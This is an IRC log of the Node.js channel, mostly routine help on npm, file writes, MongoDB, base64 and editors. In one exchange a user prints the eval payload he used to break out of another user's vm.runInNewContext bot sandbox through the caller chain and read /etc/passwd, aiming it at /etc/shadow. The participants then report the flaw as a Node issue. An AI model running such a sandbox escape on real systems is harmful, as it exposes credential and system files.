proper way to insert json into a json doc? .. [15:35] chrisbuchholz has joined the channel [15:36] DrMcKay: !npm search gist [15:36] jhbot: packages (short format): ngist, massagist, gist, redis-completer, node-gist, gista, gisty, changelog, hanging_gardens_registry [15:36] TheJH: DrMcKay, you can have a look at my bots code, reads and writes gists :) [15:36] DrMcKay: TheJH: I know :) [15:37] TheJH: DrMcKay, npm search is more verbose in query [15:37] DrMcKay: ah, it even auths himself [15:38] TheJH: DrMcKay, "!npm search gist" in query gives you one line per package, with descriptions [15:38] kenperkins has joined the channel [15:38] DrMcKay: I see, thanks [15:39] mikeycgto has joined the channel [15:39] CarterL has joined the channel [15:39] postwait has joined the channel [15:39] __sorin__ has joined the channel [15:39] heavysixer has joined the channel [15:40] mynameisbender has joined the channel [15:40] dmkbot: joyent/node: loganfsmyth: Fix merge error in tls docs - https://github.com/joyent/node/issues/1648 [15:41] DrMcKay: mrdoodles: JSON.parse and assign it to something? [15:41] mrdoodles: yeah i got it :P [15:41] mrdoodles: i wasn't sure if there was some magical method :P [15:42] mrdoodles: filehandle.push() ? :P [15:42] DrMcKay: :D [15:44] willwhite has joined the channel [15:45] Renegade001 has joined the channel [15:45] losing has joined the channel [15:45] joshkehn has joined the channel [15:46] matyr_ has joined the channel [15:46] kiffness has joined the channel [15:48] kiffness has joined the channel [15:49] mrdoodles: ok this might sound silly. fs.readFileSync - i have my data, I've never had to write to a text/json file etc. [15:49] mrdoodles: when write, no error … but it empties my doc. do i need to close the handle firsrt? [15:50] TheJH: mrdoodles, could you show us your exact code? [15:50] CIA-69: node: 03Logan Smyth 07master * rbc0a552 10/ doc/api/tls.markdown : [15:50] CIA-69: node: docs: Fix merge error in tls docs [15:50] CIA-69: node: Fixes #1648. - http://git.io/1lR7_w [15:51] mihar has joined the channel [15:51] mrdoodles: http://pastebin.com/aFddBrKZ [15:51] mrdoodles: thx TheJH [15:52] matyr has joined the channel [15:52] TheJH: mrdoodles, maybe JSON.stringify() the conf? [15:53] TheJH: mrdoodles, also, instead of conf["server"], you can do conf.server [15:55] matyr__ has joined the channel [15:56] mike5w3c has joined the channel [15:56] kiffness has joined the channel [15:57] Agent_137 has joined the channel [15:57] mynameisbender has joined the channel [15:57] mrdoodles: TheJH: stringify :P [15:58] mrdoodles: thanks :P [16:00] devongovett has joined the channel [16:01] wookiehangover has joined the channel [16:02] Agent_137: i'm having install problems with npm. it hangs on "node cli.js install -g -f" . node 0.4.11. trying to install npm from the source pulled off github. [16:02] tomtomaso has joined the channel [16:03] TheJH: !@Agent_137 mem npm-install [16:03] jhbot: Agent_137, you can install npm by doing "curl http://npmjs.org/install.sh | sudo sh". If you don't feel comfortable piping data from http in a sudo'ed shell (which really isn't a good idea), you can also download it, look at it and then pipe it in the shell. [16:03] kiffness has joined the channel [16:03] Agent_137: i've tried that but it won't fetch [16:03] Agent_137: so maybe yea, i'll just DL it [16:04] TheJH: Agent_137, it won't fetch? can you explain that? [16:04] TheJH: Agent_137, are you in a corporate environment with a proxy? [16:04] Agent_137: let me run it again and i'll get you exact lines [16:04] Agent_137: no i'm on personal laptop [16:04] Agent_137: on a home network [16:05] svnlto has joined the channel [16:05] kiffness has joined the channel [16:08] rfay has joined the channel [16:08] Agent_137: yea the 1st line i get when i run sudo sh install.sh is this: http://registry.npmjs.org/npm/-/npm-1.0.27.tgz [16:08] Agent_137: and that hangs everytime i tried it [16:09] Agent_137: is it a big file? how long would it take to DL? [16:12] TheJH: Agent_137, 824kb [16:12] TheJH: Agent_137, takes two seconds here [16:12] Agent_137: yea i downloaded it in firefox just fine in seconds [16:12] matyr has joined the channel [16:13] pt_tr has joined the channel [16:14] TheJH: Agent_137, you could look whether you can find your issue at https://github.com/isaacs/npm/issues or wait until isaacs shows up [16:14] kiffness has joined the channel [16:14] jro has joined the channel [16:15] Agent_137: k i'll poke through them. [16:15] d3x7r0 has joined the channel [16:16] rendar has joined the channel [16:16] kiffness has joined the channel [16:17] d3x7r0: hey guys, is anyone out there using browserify (or something similar) with express? [16:17] c4milo1 has joined the channel [16:18] mike5w3c has joined the channel [16:18] dmkbot: joyent/node: fprijate: Wrong fs.stat size on win32 - https://github.com/joyent/node/issues/1647 [16:18] jro has joined the channel [16:20] Agent_137: interesting. it's downloading the package fine but hanging somewhere else silently. [16:20] Cromulent has joined the channel [16:21] kiffness has joined the channel [16:24] mcepl has joined the channel [16:25] jtrudeau has joined the channel [16:25] smtlaissezfaire_ has joined the channel [16:29] smathy has joined the channel [16:29] dmkbot: joyent/node: tshinnic: add positioned writing feature to fs.WriteStream - https://github.com/joyent/node/issues/1645 [16:31] `3rdEden has joined the channel [16:31] d0k has joined the channel [16:33] Agent_137 has joined the channel [16:34] `3rdEden: Is there any one with mongodb node native experiance here? [16:35] matyr_ has joined the channel [16:35] qbit_ has joined the channel [16:36] kiffness has joined the channel [16:36] Agent_137: TheJH, i think i figured it out. some how i have 2 node installs. one is 0.4 the other is 0.5. my path is set to 0.4 but the root path is using 0.5 [16:37] TheJH: `3rdEden, I think DrMcKay has... [16:38] chapel: mikeal: ping [16:38] `3rdEden: I'll ask anyways, I need to query and delete a shit load of records (about 120k) when ever I reach item 17400 in the cursor, it stops working =/ [16:39] dingomanatee has joined the channel [16:39] mrdoodles has joined the channel [16:40] socialhack has joined the channel [16:40] squeese has joined the channel [16:40] kiffness has joined the channel [16:41] mikeal: pong [16:41] DrMcKay: `3rdEden: ask away, I will try [16:41] DrMcKay: `3rdEden: ah, I see your question [16:41] DrMcKay: `3rdEden: does it work from console? [16:41] mavus has joined the channel [16:42] `3rdEden: DrMcKay nope [16:42] adelgado has joined the channel [16:42] socialhack: hi everyone. I'm a long time podcaster and js developer and starving under my podcast publication and post-production setup, I was wondering if there is a project to create a podcast publication software in node.js? [16:42] DrMcKay: `3rdEden: so, it generally doesn't work in Mongo? [16:42] ph^ has joined the channel [16:43] CarterL has joined the channel [16:43] `3rdEden: DrMcKay it does, but I can only delete 17400 documents =/ [16:43] chapel: mikeal: any chance you could check out our nko entry again, maybe with stable chrome or safari or firefox at the least? [16:43] DrMcKay: `3rdEden: it might be tricky, have you tried removing some ranges? [16:43] `3rdEden: DrMcKay I decided to do some limit and skipping for now [16:43] mikeal: link? [16:43] `3rdEden: but for some odd reason it doesn't really work anymore =/ [16:43] cole_gillespie: does anyone here use gEdit [16:43] mikeal: i'll try i've gotta run more errands for summercamp [16:44] chapel: http://sponoders.nko2.nodeknockout.com/ [16:45] `3rdEden: DrMcKay I'll try to do it with mongohub if everything else fails =/ [16:45] DrMcKay: `3rdEden: is it just one collection? [16:45] `3rdEden: yeh [16:45] `3rdEden: i'll gist the code [16:45] `3rdEden: gimme a se [16:45] DrMcKay: `3rdEden: can you delete it all? [16:45] `3rdEden: nope [16:45] DrMcKay: `3rdEden: so it just decided to shit itself -.- [16:46] DrMcKay: `3rdEden: --repair? [16:46] `3rdEden: DrMcKay https://gist.github.com/8f3ac67d74d8f832bfd2 [16:46] `3rdEden: DrMcKay it's hosted on mongohq [16:46] mcepl has left the channel [16:47] DrMcKay: `3rdEden: shouldn't you run it backwards? [16:47] `3rdEden: So i can't do a repair [16:47] uptownben: Hey all. [16:47] `3rdEden: backwards? [16:47] DrMcKay: `3rdEden: say: you delete 0-100, then you delete 101-200, etc. [16:48] `3rdEden: yeh that is what i'm currently doing [16:48] `3rdEden: see the output log [16:48] DrMcKay: there's no output [16:48] DrMcKay: but you should be deleting 0-100, then 0-1000, then 0-100 again [16:48] DrMcKay: s/1000/100/ [16:48] DrMcKay: I think [16:48] kenperkins has joined the channel [16:49] DrMcKay: because when you delete 0-100, 101-200, you won't delete all records [16:49] jbpros has joined the channel [16:50] uptownben: Is it possible to include binary data in JSON? I want my node based web service to accept an image, do I need to use the 'form...' content type? Should I base64 encode it? [16:51] joshkehn: You could use BSON [16:51] joshkehn: Or do the b64 encoding. [16:51] uptownben: I'll check out base64, any downsides that you know of? [16:52] TheJH: uptownben, normal file upload works with raw, binary data just well [16:52] joshkehn: Other then extra processing not really. [16:52] felixhummel has joined the channel [16:52] zemanel_ has joined the channel [16:52] uptownben: by 'normal' you mean using the "form/multi-part" content type? [16:53] `3rdEden: DrMcKay I added the output to the log [16:53] TheJH: uptownben, I'm bad at this stuff, sorry - I'm talking about the stuff that you get when you do
[16:53] `3rdEden: DrMcKay but thanks for the info [16:53] `3rdEden: I'll try some fu out [16:54] `3rdEden: I can always just fetch all ids that needs to be delete, write it to a file [16:54] `3rdEden: and create a seperate batch deleter [16:54] DrMcKay: yeah, but isn't DB fucked up? [16:54] `3rdEden: Not really [16:54] uptownben: TheJH: yeah,that would be a multipart form post, I think. I'm sending 'application/json' back and forth so I'll try base64 encoding/decoding.. [16:54] DrMcKay: I mean, that's not really the way it should behave [16:54] `3rdEden: it still works DrMcKay [16:55] `3rdEden: Maybe it's because it's hosted on mongohq [16:55] `3rdEden: that they add some odd limits =/ [16:55] uptownben: but does node have a built in base64 decode function? [16:55] `3rdEden: DrMcKay but thanks for the tips [16:56] DrMcKay: `3rdEden: my pleasure [16:56] DrMcKay: `3rdEden: I'll try to reproduce and see if your code behaves [16:56] cole_gillespie has joined the channel [16:56] jamesarosen has joined the channel [16:56] TheJH: uptownben, new Buffer(encodedStr, 'base64') [16:57] TheJH: !admin eval new Buffer('Zm9v', 'base64').toString() [16:57] jhbot: foo [16:57] DrMcKay: TheJH: when I see you writing new Buffer() I feel quite unsafe :p [16:57] TheJH: DrMcKay, boo, caller! [16:57] DrMcKay: :D [16:58] uptownben: So if I b64 encode in my client app, and send to node, I should be able to use that Buffer code and save to disk as a binary image(png,jpg,etc.)? [16:59] markwubben has joined the channel [17:00] kiffness has joined the channel [17:02] aconbere has joined the channel [17:03] DrMcKay: oh, I love my boss [17:03] DrMcKay: "you're the backend guy, use whatever you feel comfortable with" [17:04] markerdmann has joined the channel [17:04] Agent_137 has joined the channel [17:04] DrMcKay: ACTION starts to rewrite notification system in node.js [17:05] DrMcKay: btw, if it's freelancing, is he still my boss? [17:05] chjj: can i have your boss? [17:05] TheJH: DrMcKay, coool :) [17:06] DrMcKay: chjj: I think human trafficking is quite illegal [17:06] chjj: ! [17:06] DrMcKay: s/think (.+)/think that \1/ [17:06] Malar has joined the channel [17:07] Agent_137: so npm says installing with sudo is safer. but if you install node normally without sudo, sudo'd npm can't find node. is it ok to install node as sudo? [17:07] socialhack: no podcast people in here? [17:07] mrdoodles has joined the channel [17:07] bolden has joined the channel [17:08] TheJH: Agent_137, yes [17:08] TheJH: socialhack, what podcast? [17:08] Agent_137: k, great. [17:08] Nexxy has joined the channel [17:09] mrdoodles: this isn't node related, and i've done a ton of README.md files … if i have inside of a tabbed block. [LinkName](http://www.link.com) … why am I not seeing a link? [17:09] mrdoodles: its not being escaped? [17:09] socialhack: TheJH: earlier I asked about podcast publishing software in node. if something like this already exists or has been tried? [17:10] grekko has joined the channel [17:10] DrMcKay: socialhack: maybe this: https://github.com/Fyorl/Node.js-Music-Server ? [17:11] DrMcKay: socialhack: it isn't podcast-centric, but you may be interested [17:12] socialhack: DrMcKay: thx will have a look. big part of the project I have in mind would be audio processing, id3 modification, feed generation, etc. [17:13] DrMcKay: socialhack: you're a programmer, right? [17:13] DrMcKay: socialhack: let's write it :D ! [17:14] socialhack: DrMcKay: I'm programming js server side in helma since 4 years now and make podcasts since 2,5 y. and I'm sick of wordpress and post production [17:16] DrMcKay: socialhack: everyone is sick of wordpress, I think [17:16] kmiyashiro has joined the channel [17:16] TheJH: DrMcKay, TODO.getLength(function(len){say("socialhack, my TODO list length is "+len+" elements long")}) [17:17] DrMcKay: socialhack: but if you woulnd't find such thing, I would be happy to help [17:17] DrMcKay: TheJH: today I've removed 2 items *proud* [17:17] DrMcKay: TheJH: it's 6 now [17:17] TheJH: DrMcKay, but you didn't remove the eval bot :D [17:18] DrMcKay: TheJH: and now it's 7 -.- [17:18] DrMcKay: oh, 8, actually, tickets [17:18] TheJH: DrMcKay, :D [17:19] DrMcKay: OK, I will have to give TODOs some priorities or something [17:20] DrMcKay: nautilus patch goes dooooooown, because they didn't accept one of my patches [17:20] DrMcKay: oh, wait! writing an e-mail is actually simple, right? [17:21] captain_morgan has joined the channel [17:21] navaru has joined the channel [17:21] TheJH: we need to make a new internet law of nature, something like "The size of the todo queue belonging to a sufficiently intelligent individuum is unable not to steadily increase when viewed over a sufficiently large timespan" [17:21] DrMcKay: :D [17:21] navaru has left the channel [17:22] DrMcKay: wait, what could "email him" mean? [17:22] DrMcKay: and who the hell should I email? [17:22] TheJH: !mem todo The law of TODO is: "The size of the todo queue belonging to a sufficiently intelligent individuum is unable not to steadily increase when viewed over a sufficiently large timespan." [17:22] jhbot: tell AvianFlu to register disasterbot [17:22] CIA-69: libuv: 03Bert Belder 07master * r360f411 10/ (src/unix/tcp.c src/unix/udp.c src/win/tcp.c src/win/udp.c): Make getsockname/getpeername handle uninitialized sockets better - http://git.io/PP3oRQ [17:22] TheJH: WTF? [17:23] TheJH: ah, yes [17:23] DrMcKay: TheJH: we've assigned TODO already [17:23] TheJH: !remember todo The law of TODO is: "The size of the todo queue belonging to a sufficiently intelligent individuum is unable not to steadily increase when viewed over a sufficiently large timespan." [17:23] jhbot: saved definition of 'todo' [17:23] TheJH: overwritten :) [17:23] sqpat has joined the channel [17:23] TheJH: (yes, everyone can overwrite) [17:24] sqpat: i had an ECONNRESET but im trying to isolate it to either my http.createserver or my socket.createserver, is that an error that can happen in both? [17:24] N0va has joined the channel [17:25] TheJH: another law of the internet should be: "Misuse of systems by intelligent beings can be avoided by lowering the computational cost the brains of those beings have to pay to an irrelevant level" [17:25] DrMcKay: lol :D [17:25] slifty has joined the channel [17:25] TheJH: in other words, the cool hackers won't hack you when you state that you're insecure as hell [17:26] DrMcKay: yup [17:26] DrMcKay: like, say, enabling eval for everyone [17:26] DrMcKay: do you even know anyone who would be that dumb to do that? [17:27] tuhoojabotti: I use vm.runInNewContext :U [17:27] TheJH: DrMcKay, well, the hard thing is to make sure that the dumb scriptkiddies won't hack you when you do that :D [17:27] DrMcKay: tuhoojabotti: I *did* [17:27] tuhoojabotti: llolo [17:27] TheJH: tuhoojabotti, what? where? [17:27] DrMcKay: tuhoojabotti: TheJH cracked it, 3 or 4 times. [17:27] TheJH: MWAHAHAAAA!!!! [17:27] CIA-69: node: 03Peter Bright 07master * r766430c 10/ common.gypi : [17:27] CIA-69: node: Windows: set executables to be console programs [17:27] CIA-69: node: closes #1644 - http://git.io/P9QJAg [17:28] tuhoojabotti: I use runInNewContext to compile some templates, because it was broken [17:28] stonebranch has joined the channel [17:28] TheJH: tuhoojabotti, but you don't use it for security, right? [17:28] catb0t has joined the channel [17:29] tuhoojabotti: "use for security" [17:29] tuhoojabotti: wut [17:29] DrMcKay: TheJH: issue! [17:29] boogyman has joined the channel [17:29] TheJH: tuhoojabotti, vm.runInNewContext(stuffAnEvilUserSentMe, {}) [17:29] DrMcKay: TheJH: report it, it's not expected bahaviour [17:29] tuhoojabotti: of course not. [17:30] TheJH: DrMcKay, you can do that :D [17:30] DrMcKay: TheJH: but you hacked it [17:30] Me1000 has joined the channel [17:30] TheJH: DrMcKay, and you have the problem because you got hacked. I just had fun. :D [17:30] TheJH: DrMcKay, so you should report it :D [17:31] tuhoojabotti: TheJH: What have you done again? [17:31] DrMcKay: but moooom! [17:31] DrMcKay: tuhoojabotti: he cracked my bot's super-safe eval feature [17:31] TheJH: tuhoojabotti, I did this: !eval f=function(){return f.caller};var require=f().arguments[1];require('fs').readFileSync('/etc/shadow', 'utf8') [17:32] DrMcKay: tuhoojabotti: and yes, it was using vm.runInNewContext [17:32] TheJH: well,t he bot wasn't allowed to read shadow, but passwd worked [17:32] DrMcKay: I should've run it in chroot [17:32] DrMcKay: and I will [17:32] japj: someday [17:32] cole_gillespie has joined the channel [17:32] tuhoojabotti: lolol [17:33] DrMcKay: yeah, I'm procrastinating running you install basesystem [17:33] DrMcKay: s/you/yum/ [17:33] abjorn has joined the channel [17:33] dmkbot: joyent/node: Skomski: Added new win32 platform funtion: getNetworkInterfaces() - https://github.com/joyent/node/issues/1649 [17:33] DrMcKay: TheJH: so, issue? [17:34] dmkbot: joyent/node: Skomski: Added new win32 platform function: getNetworkInterfaces() - https://github.com/joyent/node/issues/1649 [17:34] TheJH: DrMcKay, meh. Why not you? [17:34] DrMcKay: TheJH: ugh, ok [17:34] TheJH: DrMcKay, was just about to do it :D [17:34] DrMcKay: TheJH: do it! [17:35] socialhack: DrMcKay: I will need help when it comes to audio processing and id3 tag modification. you know any libraries for that? [17:35] DrMcKay: socialhack: https://github.com/corbanbrook/dsp.js ? [17:35] JaKWaC has joined the channel [17:35] DrMcKay: TheJH: but include both snippets [17:36] TheJH: DrMcKay, which both? I think I'll write a new one [17:36] DrMcKay: TheJH: this with vm and with caller [17:36] DrMcKay: the vm one clearly was a surprise for me [17:36] core00 has left the channel [17:36] kiffness_ has joined the channel [17:37] mrdoodles has joined the channel [17:37] JaKWaC has joined the channel [17:39] mikeal has joined the channel [17:40] socialhack has joined the channel [17:41] Agent_137 has joined the channel [17:41] kiffness has joined the channel [17:43] mykul|Home has joined the channel [17:43] dmkbot: joyent/node: thejh: vm.runInNewContext doesn't prevent crawling up the caller chain - https://github.com/joyent/node/issues/1650 [17:44] brianseeders has joined the channel [17:44] TheJH: DrMcKay, wtf? that wasn't even a second delay until your bot saw the issue! how did you do that? or was it just luck? [17:44] replore has joined the channel [17:44] replore_ has joined the channel [17:45] DrMcKay: TheJH: it checks every 15 seconds or so, so I guess it was luck [17:45] TheJH: DrMcKay, ok, anyway, does the issue report look good? [17:46] DrMcKay: TheJH: looks good [17:46] DrMcKay: TheJH: and the vm thing? [17:46] zastaph has joined the channel [17:47] TheJH: DrMcKay, ah, didn't think about that. Wanna do it? :P [17:47] DrMcKay: TheJH: k, paste this code snippet again, iy you can [17:48] Skomski has joined the channel [17:48] DrMcKay: TheJH: btw, your issue may get WONTFIX, I'm not sure if it isn't V8 problem [17:48] nerdy_ has joined the channel [17:49] enmand has joined the channel [17:51] Agent_137: i'm having so much trouble with this npm [17:51] nakkor has joined the channel [17:51] Agent_137: i found and deleted the rogue 0.5 version of node that was on my sudo path [17:51] Agent_137: but now i can't get my 0.4.11 node onto my sudo path and i'm not even sure i should [17:51] nakkor has joined the channel [17:51] Agent_137: all because npm says it's "safer" to run npm as node? [17:51] Agent_137: i mean, as sudo? [17:52] arnee has joined the channel [17:52] frewsxcv has joined the channel [17:53] Agent_137: i'm not the only one either: https://github.com/joyent/node/issues/1499 and http://stackoverflow.com/questions/7214728/sudo-path-not-finding-node-js [17:53] TheJH: DrMcKay, not exactly what I did, but even `require('vm').runInThisContext("process")` should work [17:53] kiffness has joined the channel [17:55] liquidproof has joined the channel [17:55] DrMcKay: TheJH: true, it does [17:55] hybsch has joined the channel [17:55] JaKWaC_ has joined the channel [17:55] dmkbot: joyent/node: thejh: vm.runInNewContext doesn't prevent crawling up the caller chain - https://github.com/joyent/node/issues/1650 [17:56] DrMcKay: TheJH: ^\ [17:56] kiffness has joined the channel [17:57] Isaiah has joined the channel [17:58] kiffness_ has joined the channel [18:00] idefine has joined the channel [18:00] jacobolus has joined the channel [18:01] cole_gillespie has joined the channel [18:02] jacobolus has joined the channel [18:02] abiii has joined the channel [18:02] [[zz]] has joined the channel [18:03] ismell has joined the channel [18:04] simenbrekken: What are people using for sequential execution of async functions? I've got so many ident levels in my tests it's starting to become a health hazard! [18:04] dmkbot: joyent/node: Skomski: Added new win32 platform function: getNetworkInterfaces() - https://github.com/joyent/node/issues/1649 [18:05] DrMcKay: simenbrekken: caolan/async [18:05] DrMcKay: TheJH: I've nailed problem down to one C++ function [18:05] radiodario has joined the channel [18:05] DrMcKay: TheJH: (the runInThisContext problem) [18:07] DrMcKay: oh... [18:07] DrMcKay: no [18:08] DrMcKay: nvm, I'll report an issue [18:08] simenbrekken: DrMcKay: excellent, async is just what I was looking for [18:08] simenbrekken: Thank you Doctor. [18:08] DrMcKay: simenbrekken: :) [18:09] synkroBBQ has joined the channel [18:10] DrMcKay: TheJH: https://gist.github.com/913539 ? [18:10] DrMcKay: TheJH: isn't this a duplicate: https://github.com/joyent/node/issues/898 ? [18:11] TheJH: DrMcKay, looks so [18:11] Metal3d has joined the channel [18:11] patcito has joined the channel [18:13] kiffness_ has joined the channel [18:14] hellp has joined the channel [18:14] kenperkins has joined the channel [18:15] kiffness has joined the channel [18:16] WRAz: what editor do you guys use [18:16] DrMcKay: WRAz: vim <3 [18:16] WRAz: I really like cloud9 but the iteration time is too slow and it does some buggy things. so I'm moving back off the cloud. [18:16] WRAz: unfortunately the only editor I really like now is intellij but java = molasses. [18:17] socialhack: DrMcKay: this id3 reader looks good for reading, but I'm missing something to write tags https://github.com/aadsm/JavaScript-ID3-Reader [18:17] dmkbot: joyent/node: bmeck: leaking references inside new contexts - https://github.com/joyent/node/issues/1469 [18:17] DrMcKay: !npm search id3 [18:17] jhbot: package mediatags: Tools extracting for media meta-data tags [18:17] jhbot: package id3: A ID3 library for node, using pure Javascript. [18:18] TheJH: DrMcKay, look at that issue change, I proposed a solution for the caller thing [18:18] DrMcKay: I see [18:18] TheJH: *should* work [18:18] tuhoojabotti: notepad [18:18] TheJH: WRAz, gedit [18:19] tuhoojabotti: gedit is nice too, so is notepad++ [18:19] WRAz: gedit lacks a project view [18:19] WRAz: (it is really nice tho for my purposes) [18:19] DrMcKay: socialhack: I can't see any lib with writing features [18:20] WRAz: ACTION discovers sidebar in gedit, sold. [18:20] WRAz: now only if there was a way to add a terminal to gedit like on cloud9 [18:20] tuhoojabotti: :D [18:21] stisti has joined the channel [18:21] JumpMast3r has joined the channel [18:21] dmkbot: joyent/node: tshinnic: add positioned writing feature to fs.WriteStream - https://github.com/joyent/node/issues/1645 [18:21] TheJH: WRAz, why not just a seperate terminal window? [18:21] tuhoojabotti: yeah [18:22] WRAz: apperently there is a way [18:22] WRAz: sudo apt-get install gedit-plugins :D [18:22] WRAz: and to answer your question, reduces iteration time [18:22] dmkbot: joyent/node: tshinnic: add positioned writing feature to fs.WriteStream - https://github.com/joyent/node/issues/1645 [18:22] socialhack: DrMcKay: hm... maybe use some external tool for that from within node? [18:22] WRAz: also its nice to be able to use all my git commands from there [18:22] __sorin__ has joined the channel [18:22] tuhoojabotti: iteration time o.O [18:23] matyr has joined the channel [18:23] ph^ has joined the channel [18:23] WRAz: code up a bunch of features -> check unit tests -> continue [18:24] prettyrobots has joined the channel [18:24] tuhoojabotti: And separate window slows you down how? [18:24] Cromulent has joined the channel [18:25] WRAz: I can leave gedit in full screen, hit a hotkey to switch to console, run the test, and see the output while working [18:25] Cromulent has joined the channel [18:25] tuhoojabotti: fullscreen? :V [18:25] DrMcKay: WRAz: use xmonad [18:25] tuhoojabotti: ew [18:26] DrMcKay: meh, I have no idea how gdb works :< [18:26] tuhoojabotti: I have used it. :) [18:26] cole_gillespie has joined the channel [18:27] TheJH: WRAz, I press ctrl+alt+t and have a terminal. CTRL+D and it disappers again [18:27] nitinb has joined the channel [18:27] SoulRaven has joined the channel [18:27] mrdoodles: i have a new version number, and obviously new code, hah - on my node module. just npm publish again? [18:27] WRAz: its mostly so I can see the output from the console while working, its just a preference thing [18:27] WRAz: I don't want to argue religion with you guys ;) [18:28] mrdoodles: WRAz: what do you think about line beginning commas? [18:28] mrdoodles: mrdoodles++ [18:28] v8bot_: mrdoodles: Don't cheat! You can't give a beer to yourself. [18:28] catb0t: mrdoodles now has 1 beer [18:28] TheJH: mrdoodles, after incrementing the version number in package.json if you didn't already do so, yes [18:28] mrdoodles: thx TheJH [18:28] mrdoodles: clear [18:28] Youdaman has joined the channel [18:28] WRAz: @mrdoodles: hate them, commas should always be trailing. moar religion :( [18:28] TheJH: isaacs-style++ [18:28] v8bot_: TheJH has given a beer to isaacs-style. isaacs-style now has 1 beers. [18:29] godzirra has joined the channel [18:29] mrdoodles: WRAz: oh i HATE them too, i was just fucking with you after you mentioned religion :P [18:29] tuhoojabotti: trailing commas<3 [18:29] WRAz: what about object declartions [18:29] TheJH: in objects, I really like line beginning commas :) [18:29] tuhoojabotti: It's just a matter of taste. [18:29] tuhoojabotti: Like pepsi vs. coce. [18:29] tuhoojabotti: coke* [18:29] WRAz: have you seen the extjs way of handling arrays? [18:30] DrMcKay: TheJH: you're using xmonad? [18:30] isaacs has joined the channel [18:30] kiffness_ has joined the channel [18:30] TheJH: DrMcKay, no, I guess my window manager is roughly the opposite - gnome 3 [18:30] dmkbot: joyent/node: kuebk: Errors while building plugins with 0.5.6-pre - https://github.com/joyent/node/issues/1632 [18:30] Youdaman has left the channel [18:30] mrdoodles: isaacs: how do you find time in the day?? [18:30] TheJH: DrMcKay, now you can bug isaacs if you want to :D [18:30] dmkbot: joyent/node: kuebk: Errors while building plugins with 0.5.6-pre - https://github.com/joyent/node/issues/1632 [18:31] isaacs: mrdoodles: i'm an addict :) [18:31] kuebk: have a question [18:31] kuebk: i'm running 2 node apps [18:31] kuebk: on same machine [18:31] mrdoodles: I've become one! [18:31] DrMcKay: TheJH: oh, GNOME 3 :< [18:31] tuhoojabotti: Must sleep. [18:31] kuebk: and i'm using a net.Socket as a communication channel for them [18:31] WRAz: http://jsfiddle.net/rdSLt/1/ <- ExtJS arrays [18:32] godzirra: Hey guys. Not sure if this is a redis or a node.js question, but using this code, I'm getting typeerrors starting the server: http://pastie.org/2481915 [18:32] dmkbot: joyent/node: fprijate: Wrong fs.stat size on win32 - https://github.com/joyent/node/issues/1647 [18:32] kuebk: afaik if I set allowHalfOpen to true [18:32] isaacs: html is so much fun: http://npmjs.org/doc/ [18:32] kuebk: the socket shouldn't close when I do end [18:32] kuebk: right? [18:32] tuhoojabotti: isaacs: It's css that's the devil. [18:33] isaacs: tuhoojabotti: nah, css makes it more fun ;) [18:33] tuhoojabotti: True. [18:33] mrdoodles: i follow the mailing list, the commits, and I'm an engineer … however - what is the deal with me using stable 0.4.11 and a tag of 0.5.5. i know that express doesn't (or most recently didn't) support the latest as its not stable. ... [18:33] tuhoojabotti: Let's just say browser variation is the devil. [18:33] tuhoojabotti: :u [18:33] [[zz]] has joined the channel [18:33] tuhoojabotti: It's actually not that bad. [18:33] WRAz: if only there was a unified dom renderer/JS engine and browsers implemented around that :( [18:33] tuhoojabotti: My site works fine in IE6 ;D [18:34] kuebk: tuhoojabotti is it really worth it [18:34] mrdoodles: so is there (other than node mailing list) a timeline for node dev? [18:34] kuebk: to adjust css and html for ie6? [18:34] tuhoojabotti: kuebk: Yes, because I did no extra effort. [18:34] kuebk: ah [18:34] tuhoojabotti: I didn't do that. [18:34] WRAz: @kuebk: depends on complexity of website. [18:34] tuhoojabotti: It just works. ;) [18:34] WRAz: Simple websites should just work. [18:34] kuebk: yea [18:34] tuhoojabotti: Very simple, that is. :D [18:34] kuebk: simple [18:34] kuebk: keyword [18:35] WRAz: or you could force users to install chrome frame. [18:36] mrdoodles: there was a great mashable article a few weeks ago on newer designers/html types not knowing how to support ie6 since its simply … so old. [18:36] WRAz: doesn't require admin access anymore. [18:36] isaacs: ie users are used to the internet looking bad. making your site look good in ie violates user expectations. [18:36] godzirra: Or is this a question I shuold ask redis? [18:36] kiffness has joined the channel [18:36] isaacs: design isn't about pretty pictures, it's about solving problems. making the internet look bad in IE solves the IE problem. [18:36] tuhoojabotti: :) [18:36] WRAz: @godzirra: my cat has the same name. [18:37] isaacs: if you want it to look the same to everyone, mail them a piece of paper. [18:37] godzirra: WRAz: lol [18:37] piscisaureus_ has joined the channel [18:37] WRAz: http://whenraptorsattack.github.com/Jixel/examples/techtest/index.html << I haven't even tried that in IE yet [18:37] tuhoojabotti: isaacs: It's more fun to put up gazillion warnings about the old browser. [18:38] tuhoojabotti: Noooo [18:38] tuhoojabotti: I can hear Big Borther in the room next to me. [18:38] tuhoojabotti: kill me, kill me now. [18:38] WRAz: It may work in IE9... [18:39] willwhite has joined the channel [18:41] MrNko has joined the channel [18:44] godzirra: Hey guys. Not sure if this is a redis or a node.js question, but using this code, I'm getting type errors starting the server: http://pastie.org/2481915 [18:44] godzirra: oops. [18:46] kiffness has joined the channel [18:46] kriszyp has joined the channel [18:47] dmkbot: joyent/node: flyingmachete: sudo problems with node and npm - https://github.com/joyent/node/issues/1499 [18:47] slickplaid: godzirra: use node_redis https://github.com/mranney/node_redis that library is deprecated ( i think you're using the deprecated one) [18:47] slickplaid: the one you're using, that is [18:47] dmkbot: joyent/node: kuebk: Errors while building plugins with 0.5.6-pre - https://github.com/joyent/node/issues/1632 [18:47] matyr_ has joined the channel [18:47] godzirra: slickplaid: Ah, thank you. [18:48] godzirra: slickplaid: Wait.. that is the one I'm using. [18:48] godzirra: do I need to download it from github instead of installing from npm? [18:48] slickplaid: godzirra: I usually just do `npm install hiredis redis` and require it using `var redis = require('redis');` [18:49] matyr__ has joined the channel [18:49] godzirra: Oh crap, I was using the old one. Darnit. Thank you. [18:49] `3rdEden has joined the channel [18:50] slickplaid: :) welcome [18:51] kiffness has joined the channel [18:51] thalll has joined the channel [18:51] jchris has joined the channel [18:52] albertosheinfeld has joined the channel [18:52] bingomanatee: what is the best practice way to upgrade your node version, and can you keep your upgrade to 4.x? [18:52] slickplaid: bingomanatee: I use nvm. [18:53] bingomanatee: nvm update node? [18:53] godzirra: on the bright side, it doesn't crash anymore. On the downside, it also doesn't return my data. :D [18:53] bingomanatee: quit while you're ahead godzirra. [18:53] godzirra: I know, right? [18:54] bingomanatee: you're data isn't that much different from other prople [18:54] bingomanatee: s [18:54] gautema has joined the channel [18:54] bingomanatee: at the binary level [18:54] Erise25 has joined the channel [18:54] mikeal has joined the channel [18:55] mike5w3c has joined the channel [18:55] fangel has joined the channel [18:56] bingomanatee: hey, there are node installers 